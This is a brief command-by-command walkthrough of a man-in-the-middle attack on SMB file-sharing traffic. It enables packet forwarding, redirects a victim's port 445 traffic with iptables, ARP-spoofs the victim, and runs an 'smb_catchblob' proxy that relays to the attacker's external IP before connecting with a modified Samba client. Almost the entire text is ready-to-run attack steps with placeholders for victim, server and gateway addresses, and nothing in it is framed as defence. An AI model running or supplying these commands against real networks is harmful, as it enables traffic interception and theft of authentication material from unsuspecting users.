Enable IP-packet forwarding with the following command:

echo '1' > /proc/sys/net/ipv4/ip_forward

Redirect the SMB packets to our proxy with iptables:

iptables -t nat -A PREROUTING -i eth0 -p tcp -s <victim ip> -d <server ip> --dport 445 -j REDIRECT --to-port 445

ARP SPOOF the victim with the following command:

arpspoof -t <victim ip> <gateway ip>

Start our SMB proxy with the following command:

smb_catchblob -s <server ip> -l <attacker's external ip> -p 445

Run the modified samba client:

smbclient //<server ip>/<share> -k